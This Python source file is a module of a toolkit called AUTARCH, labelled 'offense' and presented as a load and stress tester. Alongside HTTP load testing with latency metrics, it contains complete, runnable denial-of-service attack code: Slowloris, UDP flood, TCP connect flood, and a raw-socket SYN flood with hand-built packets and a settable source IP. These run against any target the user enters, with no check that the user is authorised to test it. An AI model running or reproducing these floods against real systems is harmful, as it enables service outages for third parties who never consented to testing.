"""AUTARCH Load Testing Module Multi-protocol load/stress testing tool combining features from Apache Bench, Locust, k6, wrk, Slowloris, and HULK. Supports: HTTP/HTTPS GET/POST/PUT/DELETE, Slowloris, SYN flood, UDP flood, TCP connect flood, with real-time metrics and ramp-up patterns. """ DESCRIPTION = "Load & stress testing toolkit" AUTHOR = "darkHal" VERSION = "1.0" CATEGORY = "offense" import time import threading import random import string import socket import ssl import struct import queue import json import statistics from dataclasses import dataclass, field from typing import Dict, List, Optional, Any from enum import Enum from collections import deque from urllib.parse import urlparse # Optional: requests for HTTP tests try: import requests from requests.adapters import HTTPAdapter REQUESTS_AVAILABLE = True except ImportError: REQUESTS_AVAILABLE = False class AttackType(Enum): HTTP_FLOOD = "http_flood" HTTP_SLOWLORIS = "slowloris" TCP_CONNECT = "tcp_connect" UDP_FLOOD = "udp_flood" SYN_FLOOD = "syn_flood" class RampPattern(Enum): CONSTANT = "constant" # All workers at once LINEAR = "linear" # Gradually add workers STEP = "step" # Add workers in bursts SPIKE = "spike" # Burst → sustain → burst @dataclass class RequestResult: status_code: int = 0 latency_ms: float = 0.0 bytes_sent: int = 0 bytes_received: int = 0 success: bool = False error: str = "" timestamp: float = 0.0 @dataclass class TestMetrics: """Live metrics for a running load test.""" total_requests: int = 0 successful: int = 0 failed: int = 0 bytes_sent: int = 0 bytes_received: int = 0 start_time: float = 0.0 elapsed: float = 0.0 active_workers: int = 0 status_codes: Dict[int, int] = field(default_factory=dict) latencies: List[float] = field(default_factory=list) errors: Dict[str, int] = field(default_factory=dict) rps_history: List[float] = field(default_factory=list) @property def rps(self) -> float: if self.elapsed <= 0: return 0.0 return self.total_requests / self.elapsed @property def avg_latency(self) -> float: return statistics.mean(self.latencies) if self.latencies else 0.0 @property def p50_latency(self) -> float: if not self.latencies: return 0.0 s = sorted(self.latencies) return s[len(s) // 2] @property def p95_latency(self) -> float: if not self.latencies: return 0.0 s = sorted(self.latencies) return s[int(len(s) * 0.95)] @property def p99_latency(self) -> float: if not self.latencies: return 0.0 s = sorted(self.latencies) return s[int(len(s) * 0.99)] @property def max_latency(self) -> float: return max(self.latencies) if self.latencies else 0.0 @property def min_latency(self) -> float: return min(self.latencies) if self.latencies else 0.0 @property def success_rate(self) -> float: if self.total_requests <= 0: return 0.0 return (self.successful / self.total_requests) * 100 @property def error_rate(self) -> float: if self.total_requests <= 0: return 0.0 return (self.failed / self.total_requests) * 100 def to_dict(self) -> dict: return { 'total_requests': self.total_requests, 'successful': self.successful, 'failed': self.failed, 'bytes_sent': self.bytes_sent, 'bytes_received': self.bytes_received, 'elapsed': round(self.elapsed, 2), 'active_workers': self.active_workers, 'rps': round(self.rps, 1), 'avg_latency': round(self.avg_latency, 2), 'p50_latency': round(self.p50_latency, 2), 'p95_latency': round(self.p95_latency, 2), 'p99_latency': round(self.p99_latency, 2), 'max_latency': round(self.max_latency, 2), 'min_latency': round(self.min_latency, 2), 'success_rate': round(self.success_rate, 1), 'error_rate': round(self.error_rate, 1), 'status_codes': dict(self.status_codes), 'top_errors': dict(sorted(self.errors.items(), key=lambda x: -x[1])[:5]), 'rps_history': list(self.rps_history[-60:]), } # User-agent rotation pool USER_AGENTS = [ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 Safari/605.1.15", "Mozilla/5.0 (X11; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Edge/120.0.0.0", "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 Mobile/15E148", "Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36 Chrome/120.0.0.0 Mobile Safari/537.36", "curl/8.4.0", "python-requests/2.31.0", ] class LoadTester: """Multi-protocol load testing engine.""" def __init__(self): self._stop_event = threading.Event() self._pause_event = threading.Event() self._pause_event.set() # Not paused by default self._workers: List[threading.Thread] = [] self._metrics = TestMetrics() self._metrics_lock = threading.Lock() self._running = False self._config: Dict[str, Any] = {} self._result_queue: queue.Queue = queue.Queue() self._subscribers: List[queue.Queue] = [] self._rps_counter = 0 self._rps_timer_start = 0.0 @property def running(self) -> bool: return self._running @property def metrics(self) -> TestMetrics: return self._metrics def start(self, config: Dict[str, Any]): """Start a load test with given configuration. Config keys: target: URL or host:port attack_type: http_flood|slowloris|tcp_connect|udp_flood|syn_flood workers: Number of concurrent workers duration: Duration in seconds (0 = unlimited) requests_per_worker: Max requests per worker (0 = unlimited) ramp_pattern: constant|linear|step|spike ramp_duration: Ramp-up time in seconds method: HTTP method (GET/POST/PUT/DELETE) headers: Custom headers dict body: Request body timeout: Request timeout in seconds follow_redirects: Follow HTTP redirects verify_ssl: Verify SSL certificates rotate_useragent: Rotate user agents custom_useragent: Custom user agent string rate_limit: Max requests per second (0 = unlimited) payload_size: UDP/TCP payload size in bytes """ if self._running: return self._stop_event.clear() self._pause_event.set() self._running = True self._config = config self._metrics = TestMetrics(start_time=time.time()) self._rps_counter = 0 self._rps_timer_start = time.time() # Start metrics collector thread collector = threading.Thread(target=self._collect_results, daemon=True) collector.start() # Start RPS tracker rps_tracker = threading.Thread(target=self._track_rps, daemon=True) rps_tracker.start() # Determine attack type attack_type = config.get('attack_type', 'http_flood') workers = config.get('workers', 10) ramp = config.get('ramp_pattern', 'constant') ramp_dur = config.get('ramp_duration', 0) # Launch workers based on ramp pattern launcher = threading.Thread( target=self._launch_workers, args=(attack_type, workers, ramp, ramp_dur), daemon=True ) launcher.start() def stop(self): """Stop the load test.""" self._stop_event.set() self._running = False def pause(self): """Pause the load test.""" self._pause_event.clear() def resume(self): """Resume the load test.""" self._pause_event.set() def subscribe(self) -> queue.Queue: """Subscribe to real-time metric updates.""" q = queue.Queue() self._subscribers.append(q) return q def unsubscribe(self, q: queue.Queue): """Unsubscribe from metric updates.""" if q in self._subscribers: self._subscribers.remove(q) def _publish(self, data: dict): """Publish data to all subscribers.""" dead = [] for q in self._subscribers: try: q.put_nowait(data) except queue.Full: dead.append(q) for q in dead: self._subscribers.remove(q) def _launch_workers(self, attack_type: str, total_workers: int, ramp: str, ramp_dur: float): """Launch worker threads according to ramp pattern.""" worker_fn = { 'http_flood': self._http_worker, 'slowloris': self._slowloris_worker, 'tcp_connect': self._tcp_worker, 'udp_flood': self._udp_worker, 'syn_flood': self._syn_worker, }.get(attack_type, self._http_worker) if ramp == 'constant' or ramp_dur <= 0: for i in range(total_workers): if self._stop_event.is_set(): break t = threading.Thread(target=worker_fn, args=(i,), daemon=True) t.start() self._workers.append(t) with self._metrics_lock: self._metrics.active_workers = len(self._workers) elif ramp == 'linear': interval = ramp_dur / max(total_workers, 1) for i in range(total_workers): if self._stop_event.is_set(): break t = threading.Thread(target=worker_fn, args=(i,), daemon=True) t.start() self._workers.append(t) with self._metrics_lock: self._metrics.active_workers = len(self._workers) time.sleep(interval) elif ramp == 'step': steps = min(5, total_workers) per_step = total_workers // steps step_interval = ramp_dur / steps for s in range(steps): if self._stop_event.is_set(): break count = per_step if s < steps - 1 else total_workers - len(self._workers) for i in range(count): if self._stop_event.is_set(): break t = threading.Thread(target=worker_fn, args=(len(self._workers),), daemon=True) t.start() self._workers.append(t) with self._metrics_lock: self._metrics.active_workers = len(self._workers) time.sleep(step_interval) elif ramp == 'spike': # Burst 50%, wait, add remaining burst = total_workers // 2 for i in range(burst): if self._stop_event.is_set(): break t = threading.Thread(target=worker_fn, args=(i,), daemon=True) t.start() self._workers.append(t) with self._metrics_lock: self._metrics.active_workers = len(self._workers) time.sleep(ramp_dur / 2) for i in range(burst, total_workers): if self._stop_event.is_set(): break t = threading.Thread(target=worker_fn, args=(i,), daemon=True) t.start() self._workers.append(t) with self._metrics_lock: self._metrics.active_workers = len(self._workers) # Wait for duration or stop duration = self._config.get('duration', 0) if duration > 0: start = time.time() while time.time() - start < duration and not self._stop_event.is_set(): time.sleep(0.5) self.stop() def _collect_results(self): """Collect results from worker threads.""" while self._running or not self._result_queue.empty(): try: result = self._result_queue.get(timeout=0.5) except queue.Empty: continue with self._metrics_lock: m = self._metrics m.total_requests += 1 m.elapsed = time.time() - m.start_time m.bytes_sent += result.bytes_sent m.bytes_received += result.bytes_received if result.success: m.successful += 1 else: m.failed += 1 err_key = result.error[:50] if result.error else 'unknown' m.errors[err_key] = m.errors.get(err_key, 0) + 1 if result.status_code: m.status_codes[result.status_code] = m.status_codes.get(result.status_code, 0) + 1 if result.latency_ms > 0: # Keep last 10000 latencies for percentile calculation if len(m.latencies) > 10000: m.latencies = m.latencies[-5000:] m.latencies.append(result.latency_ms) self._rps_counter += 1 # Publish update every 20 requests if m.total_requests % 20 == 0: self._publish({'type': 'metrics', 'data': m.to_dict()}) def _track_rps(self): """Track requests per second over time.""" while self._running: time.sleep(1) with self._metrics_lock: now = time.time() elapsed = now - self._rps_timer_start if elapsed >= 1.0: current_rps = self._rps_counter / elapsed self._metrics.rps_history.append(round(current_rps, 1)) if len(self._metrics.rps_history) > 120: self._metrics.rps_history = self._metrics.rps_history[-60:] self._rps_counter = 0 self._rps_timer_start = now def _should_continue(self, request_count: int) -> bool: """Check if worker should continue.""" if self._stop_event.is_set(): return False max_req = self._config.get('requests_per_worker', 0) if max_req > 0 and request_count >= max_req: return False return True def _rate_limit_wait(self): """Apply rate limiting if configured.""" rate = self._config.get('rate_limit', 0) if rate > 0: workers = self._config.get('workers', 1) per_worker = rate / max(workers, 1) if per_worker > 0: time.sleep(1.0 / per_worker) def _get_session(self) -> 'requests.Session': """Create an HTTP session with configuration.""" if not REQUESTS_AVAILABLE: raise RuntimeError("requests library not available") session = requests.Session() adapter = HTTPAdapter( pool_connections=10, pool_maxsize=10, max_retries=0, ) session.mount('http://', adapter) session.mount('https://', adapter) session.verify = self._config.get('verify_ssl', False) # Custom headers headers = self._config.get('headers', {}) if headers: session.headers.update(headers) if self._config.get('rotate_useragent', True): session.headers['User-Agent'] = random.choice(USER_AGENTS) elif self._config.get('custom_useragent'): session.headers['User-Agent'] = self._config['custom_useragent'] return session def _http_worker(self, worker_id: int): """HTTP flood worker — sends rapid HTTP requests.""" target = self._config.get('target', '') method = self._config.get('method', 'GET').upper() body = self._config.get('body', '') timeout = self._config.get('timeout', 10) follow = self._config.get('follow_redirects', True) count = 0 session = self._get_session() while self._should_continue(count): self._pause_event.wait() self._rate_limit_wait() if self._config.get('rotate_useragent', True): session.headers['User-Agent'] = random.choice(USER_AGENTS) start = time.time() result = RequestResult(timestamp=start) try: resp = session.request( method, target, data=body if body else None, timeout=timeout, allow_redirects=follow, ) elapsed = (time.time() - start) * 1000 result.status_code = resp.status_code result.latency_ms = elapsed result.bytes_received = len(resp.content) result.bytes_sent = len(body.encode()) if body else 0 result.success = 200 <= resp.status_code < 500 except requests.Timeout: result.error = "timeout" result.latency_ms = timeout * 1000 except requests.ConnectionError as e: result.error = f"connection_error: {str(e)[:60]}" except Exception as e: result.error = str(e)[:80] self._result_queue.put(result) count += 1 session.close() def _slowloris_worker(self, worker_id: int): """Slowloris worker — holds connections open with partial headers.""" parsed = urlparse(self._config.get('target', '')) host = parsed.hostname or self._config.get('target', '') port = parsed.port or (443 if parsed.scheme == 'https' else 80) use_ssl = parsed.scheme == 'https' timeout = self._config.get('timeout', 10) sockets: List[socket.socket] = [] max_sockets = 50 # Per worker while self._should_continue(0): self._pause_event.wait() # Create new sockets up to limit while len(sockets) < max_sockets and not self._stop_event.is_set(): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(timeout) if use_ssl: ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE sock = ctx.wrap_socket(sock, server_hostname=host) sock.connect((host, port)) # Send partial HTTP request ua = random.choice(USER_AGENTS) sock.send(f"GET /?{random.randint(0, 9999)} HTTP/1.1\r\n".encode()) sock.send(f"Host: {host}\r\n".encode()) sock.send(f"User-Agent: {ua}\r\n".encode()) sock.send(b"Accept-language: en-US,en;q=0.5\r\n") sockets.append(sock) result = RequestResult( success=True, timestamp=time.time(), bytes_sent=200, latency_ms=0 ) self._result_queue.put(result) except Exception as e: result = RequestResult( error=str(e)[:60], timestamp=time.time() ) self._result_queue.put(result) break # Keep connections alive with partial headers dead = [] for i, sock in enumerate(sockets): try: header = f"X-a: {random.randint(1, 5000)}\r\n" sock.send(header.encode()) except Exception: dead.append(i) # Remove dead sockets for i in sorted(dead, reverse=True): try: sockets[i].close() except Exception: pass sockets.pop(i) time.sleep(random.uniform(5, 15)) # Cleanup for sock in sockets: try: sock.close() except Exception: pass def _tcp_worker(self, worker_id: int): """TCP connect flood worker — rapid connect/disconnect.""" parsed = urlparse(self._config.get('target', '')) host = parsed.hostname or self._config.get('target', '').split(':')[0] try: port = parsed.port or int(self._config.get('target', '').split(':')[-1]) except (ValueError, IndexError): port = 80 timeout = self._config.get('timeout', 5) payload_size = self._config.get('payload_size', 0) count = 0 while self._should_continue(count): self._pause_event.wait() self._rate_limit_wait() start = time.time() result = RequestResult(timestamp=start) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(timeout) sock.connect((host, port)) if payload_size > 0: data = random.randbytes(payload_size) sock.send(data) result.bytes_sent = payload_size elapsed = (time.time() - start) * 1000 result.latency_ms = elapsed result.success = True sock.close() except socket.timeout: result.error = "timeout" result.latency_ms = timeout * 1000 except ConnectionRefusedError: result.error = "connection_refused" except Exception as e: result.error = str(e)[:60] self._result_queue.put(result) count += 1 def _udp_worker(self, worker_id: int): """UDP flood worker — sends UDP packets.""" target = self._config.get('target', '') host = target.split(':')[0] if ':' in target else target try: port = int(target.split(':')[1]) if ':' in target else 80 except (ValueError, IndexError): port = 80 payload_size = self._config.get('payload_size', 1024) count = 0 sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) while self._should_continue(count): self._pause_event.wait() self._rate_limit_wait() start = time.time() result = RequestResult(timestamp=start) try: data = random.randbytes(payload_size) sock.sendto(data, (host, port)) elapsed = (time.time() - start) * 1000 result.latency_ms = elapsed result.bytes_sent = payload_size result.success = True except Exception as e: result.error = str(e)[:60] self._result_queue.put(result) count += 1 sock.close() @staticmethod def _checksum(data: bytes) -> int: """Calculate IP/TCP checksum.""" if len(data) % 2: data += b'\x00' s = 0 for i in range(0, len(data), 2): s += (data[i] << 8) + data[i + 1] s = (s >> 16) + (s & 0xffff) s += s >> 16 return ~s & 0xffff def _build_syn_packet(self, src_ip: str, dst_ip: str, src_port: int, dst_port: int) -> bytes: """Build a raw TCP SYN packet (IP header + TCP header).""" # IP Header (20 bytes) ip_ihl_ver = (4 << 4) + 5 # IPv4, IHL=5 (20 bytes) ip_tos = 0 ip_tot_len = 40 # 20 IP + 20 TCP ip_id = random.randint(1, 65535) ip_frag_off = 0 ip_ttl = 64 ip_proto = socket.IPPROTO_TCP ip_check = 0 ip_saddr = socket.inet_aton(src_ip) ip_daddr = socket.inet_aton(dst_ip) ip_header = struct.pack('!BBHHHBBH4s4s', ip_ihl_ver, ip_tos, ip_tot_len, ip_id, ip_frag_off, ip_ttl, ip_proto, ip_check, ip_saddr, ip_daddr) # Recalculate IP checksum ip_check = self._checksum(ip_header) ip_header = struct.pack('!BBHHHBBH4s4s', ip_ihl_ver, ip_tos, ip_tot_len, ip_id, ip_frag_off, ip_ttl, ip_proto, ip_check, ip_saddr, ip_daddr) # TCP Header (20 bytes) tcp_seq = random.randint(0, 0xFFFFFFFF) tcp_ack_seq = 0 tcp_doff = 5 # Data offset: 5 words (20 bytes) tcp_flags = 0x02 # SYN tcp_window = socket.htons(5840) tcp_check = 0 tcp_urg_ptr = 0 tcp_offset_res = (tcp_doff << 4) + 0 tcp_header = struct.pack('!HHLLBBHHH', src_port, dst_port, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags, tcp_window, tcp_check, tcp_urg_ptr) # Pseudo header for TCP checksum pseudo = struct.pack('!4s4sBBH', ip_saddr, ip_daddr, 0, ip_proto, 20) tcp_check = self._checksum(pseudo + tcp_header) tcp_header = struct.pack('!HHLLBBHHH', src_port, dst_port, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags, tcp_window, tcp_check, tcp_urg_ptr) return ip_header + tcp_header def _syn_worker(self, worker_id: int): """SYN flood worker — sends raw TCP SYN packets. Requires elevated privileges (admin/root) for raw sockets. Falls back to TCP connect flood if raw socket creation fails. """ target = self._config.get('target', '') host = target.split(':')[0] if ':' in target else target try: port = int(target.split(':')[1]) if ':' in target else 80 except (ValueError, IndexError): port = 80 # Resolve target IP try: dst_ip = socket.gethostbyname(host) except socket.gaierror: result = RequestResult(error=f"Cannot resolve {host}", timestamp=time.time()) self._result_queue.put(result) return # Source IP: user-specified or auto-detect local IP src_ip = self._config.get('source_ip', '').strip() if not src_ip: try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect((dst_ip, 80)) src_ip = s.getsockname()[0] s.close() except Exception: src_ip = '127.0.0.1' # Try to create raw socket try: import sys if sys.platform == 'win32': # Windows raw sockets sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) else: sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) except PermissionError: # Fall back to TCP connect flood self._tcp_worker(worker_id) return except OSError as e: result = RequestResult( error=f"Raw socket failed (need admin/root): {e}", timestamp=time.time() ) self._result_queue.put(result) # Fall back self._tcp_worker(worker_id) return count = 0 while self._should_continue(count): self._pause_event.wait() self._rate_limit_wait() start = time.time() result = RequestResult(timestamp=start) try: src_port = random.randint(1024, 65535) packet = self._build_syn_packet(src_ip, dst_ip, src_port, port) sock.sendto(packet, (dst_ip, 0)) elapsed = (time.time() - start) * 1000 result.latency_ms = elapsed result.bytes_sent = len(packet) result.success = True except Exception as e: result.error = str(e)[:60] self._result_queue.put(result) count += 1 sock.close() # Singleton _load_tester: Optional[LoadTester] = None def get_load_tester() -> LoadTester: global _load_tester if _load_tester is None: _load_tester = LoadTester() return _load_tester def _clear(): import os os.system('cls' if os.name == 'nt' else 'clear') def _format_bytes(b: int) -> str: if b < 1024: return f"{b} B" elif b < 1024 * 1024: return f"{b / 1024:.1f} KB" elif b < 1024 * 1024 * 1024: return f"{b / (1024 * 1024):.1f} MB" return f"{b / (1024 * 1024 * 1024):.2f} GB" def run(): """Interactive CLI for the load testing module.""" from core.banner import Colors tester = get_load_tester() while True: _clear() print(f"\n{Colors.RED} ╔══════════════════════════════════════╗{Colors.RESET}") print(f"{Colors.RED} ║ AUTARCH Load Tester ║{Colors.RESET}") print(f"{Colors.RED} ╚══════════════════════════════════════╝{Colors.RESET}") print() if tester.running: m = tester.metrics print(f" {Colors.GREEN}● TEST RUNNING{Colors.RESET} Workers: {m.active_workers} Elapsed: {m.elapsed:.0f}s") print(f" {Colors.CYAN}RPS: {m.rps:.1f} Total: {m.total_requests} OK: {m.successful} Fail: {m.failed}{Colors.RESET}") print(f" {Colors.DIM}Avg: {m.avg_latency:.1f}ms P95: {m.p95_latency:.1f}ms P99: {m.p99_latency:.1f}ms{Colors.RESET}") print(f" {Colors.DIM}Sent: {_format_bytes(m.bytes_sent)} Recv: {_format_bytes(m.bytes_received)}{Colors.RESET}") print() print(f" {Colors.WHITE}1{Colors.RESET} — View live metrics") print(f" {Colors.WHITE}2{Colors.RESET} — Pause / Resume") print(f" {Colors.WHITE}3{Colors.RESET} — Stop test") print(f" {Colors.WHITE}0{Colors.RESET} — Back (test continues)") else: print(f" {Colors.WHITE}1{Colors.RESET} — HTTP Flood") print(f" {Colors.WHITE}2{Colors.RESET} — Slowloris") print(f" {Colors.WHITE}3{Colors.RESET} — TCP Connect Flood") print(f" {Colors.WHITE}4{Colors.RESET} — UDP Flood") print(f" {Colors.WHITE}5{Colors.RESET} — SYN Flood (requires admin)") print(f" {Colors.WHITE}6{Colors.RESET} — Quick Test (HTTP GET)") print(f" {Colors.WHITE}0{Colors.RESET} — Back") print() try: choice = input(f" {Colors.WHITE}Select: {Colors.RESET}").strip() except (EOFError, KeyboardInterrupt): break if choice == '0' or not choice: break if tester.running: if choice == '1': _show_live_metrics(tester) elif choice == '2': if tester._pause_event.is_set(): tester.pause() print(f"\n {Colors.YELLOW}[!] Test paused{Colors.RESET}") else: tester.resume() print(f"\n {Colors.GREEN}[+] Test resumed{Colors.RESET}") time.sleep(1) elif choice == '3': tester.stop() _show_final_report(tester) else: if choice == '1': _configure_and_run(tester, 'http_flood') elif choice == '2': _configure_and_run(tester, 'slowloris') elif choice == '3': _configure_and_run(tester, 'tcp_connect') elif choice == '4': _configure_and_run(tester, 'udp_flood') elif choice == '5': _configure_and_run(tester, 'syn_flood') elif choice == '6': _quick_test(tester) def _configure_and_run(tester: LoadTester, attack_type: str): """Interactive configuration and launch.""" from core.banner import Colors print(f"\n{Colors.BOLD} Configure {attack_type.replace('_', ' ').title()}{Colors.RESET}") print(f"{Colors.DIM} {'─' * 40}{Colors.RESET}\n") src_ip = '' try: if attack_type == 'http_flood': target = input(f" Target URL: ").strip() if not target: return if not target.startswith('http'): target = 'http://' + target method = input(f" Method [GET]: ").strip().upper() or 'GET' body = '' if method in ('POST', 'PUT'): body = input(f" Body: ").strip() elif attack_type == 'syn_flood': print(f" {Colors.YELLOW}[!] SYN flood requires administrator/root privileges{Colors.RESET}") target = input(f" Target (host:port): ").strip() if not target: return src_ip = input(f" Source IP (blank=auto): ").strip() method = '' body = '' elif attack_type in ('tcp_connect', 'udp_flood'): target = input(f" Target (host:port): ").strip() if not target: return method = '' body = '' elif attack_type == 'slowloris': target = input(f" Target URL or host:port: ").strip() if not target: return if not target.startswith('http') and ':' not in target: target = 'http://' + target method = '' body = '' else: target = input(f" Target: ").strip() if not target: return method = '' body = '' workers_s = input(f" Workers [10]: ").strip() workers = int(workers_s) if workers_s else 10 duration_s = input(f" Duration in seconds [30]: ").strip() duration = int(duration_s) if duration_s else 30 ramp_s = input(f" Ramp pattern (constant/linear/step/spike) [constant]: ").strip() ramp = ramp_s if ramp_s in ('constant', 'linear', 'step', 'spike') else 'constant' rate_s = input(f" Rate limit (req/s, 0=unlimited) [0]: ").strip() rate_limit = int(rate_s) if rate_s else 0 config = { 'target': target, 'attack_type': attack_type, 'workers': workers, 'duration': duration, 'method': method, 'body': body, 'ramp_pattern': ramp, 'rate_limit': rate_limit, 'timeout': 10, 'rotate_useragent': True, 'verify_ssl': False, 'follow_redirects': True, 'payload_size': 1024, 'source_ip': src_ip if attack_type == 'syn_flood' else '', } print(f"\n {Colors.YELLOW}[!] Starting {attack_type} against {target}{Colors.RESET}") print(f" {Colors.DIM}Workers: {workers} Duration: {duration}s Ramp: {ramp}{Colors.RESET}") confirm = input(f"\n {Colors.WHITE}Confirm? (y/n) [y]: {Colors.RESET}").strip().lower() if confirm == 'n': return tester.start(config) _show_live_metrics(tester) except (ValueError, EOFError, KeyboardInterrupt): print(f"\n {Colors.YELLOW}[!] Cancelled{Colors.RESET}") time.sleep(1) def _quick_test(tester: LoadTester): """Quick HTTP GET test with defaults.""" from core.banner import Colors try: target = input(f"\n Target URL: ").strip() if not target: return if not target.startswith('http'): target = 'http://' + target config = { 'target': target, 'attack_type': 'http_flood', 'workers': 10, 'duration': 10, 'method': 'GET', 'body': '', 'ramp_pattern': 'constant', 'rate_limit': 0, 'timeout': 10, 'rotate_useragent': True, 'verify_ssl': False, 'follow_redirects': True, } print(f"\n {Colors.YELLOW}[!] Quick test: 10 workers × 10 seconds → {target}{Colors.RESET}") tester.start(config) _show_live_metrics(tester) except (EOFError, KeyboardInterrupt): pass def _show_live_metrics(tester: LoadTester): """Display live-updating metrics in the terminal.""" from core.banner import Colors import sys print(f"\n {Colors.GREEN}● LIVE METRICS {Colors.DIM}(Press Ctrl+C to return to menu){Colors.RESET}\n") try: while tester.running: m = tester.metrics rps_bar = '█' * min(int(m.rps / 10), 40) sys.stdout.write('\033[2K\r') # Clear line sys.stdout.write( f" {Colors.CYAN}RPS: {m.rps:>7.1f}{Colors.RESET} " f"{Colors.DIM}{rps_bar}{Colors.RESET} " f"Total: {m.total_requests:>8} " f"{Colors.GREEN}OK: {m.successful}{Colors.RESET} " f"{Colors.RED}Fail: {m.failed}{Colors.RESET} " f"Avg: {m.avg_latency:.0f}ms " f"P95: {m.p95_latency:.0f}ms " f"Workers: {m.active_workers}" ) sys.stdout.flush() time.sleep(0.5) except KeyboardInterrupt: pass print() if not tester.running: _show_final_report(tester) def _show_final_report(tester: LoadTester): """Display final test results.""" from core.banner import Colors m = tester.metrics print(f"\n{Colors.BOLD} ─── Test Complete ───{Colors.RESET}\n") print(f" Total Requests: {m.total_requests}") print(f" Successful: {Colors.GREEN}{m.successful}{Colors.RESET}") print(f" Failed: {Colors.RED}{m.failed}{Colors.RESET}") print(f" Duration: {m.elapsed:.1f}s") print(f" Avg RPS: {m.rps:.1f}") print(f" Data Sent: {_format_bytes(m.bytes_sent)}") print(f" Data Received: {_format_bytes(m.bytes_received)}") print() print(f" {Colors.CYAN}Latency:{Colors.RESET}") print(f" Min: {m.min_latency:.1f}ms") print(f" Avg: {m.avg_latency:.1f}ms") print(f" P50: {m.p50_latency:.1f}ms") print(f" P95: {m.p95_latency:.1f}ms") print(f" P99: {m.p99_latency:.1f}ms") print(f" Max: {m.max_latency:.1f}ms") if m.status_codes: print(f"\n {Colors.CYAN}Status Codes:{Colors.RESET}") for code, count in sorted(m.status_codes.items()): color = Colors.GREEN if 200 <= code < 300 else Colors.YELLOW if 300 <= code < 400 else Colors.RED print(f" {color}{code}{Colors.RESET}: {count}") if m.errors: print(f"\n {Colors.RED}Top Errors:{Colors.RESET}") for err, count in sorted(m.errors.items(), key=lambda x: -x[1])[:5]: print(f" {count}× {err}") print() try: input(f" {Colors.WHITE}Press Enter to continue...{Colors.RESET}") except (EOFError, KeyboardInterrupt): pass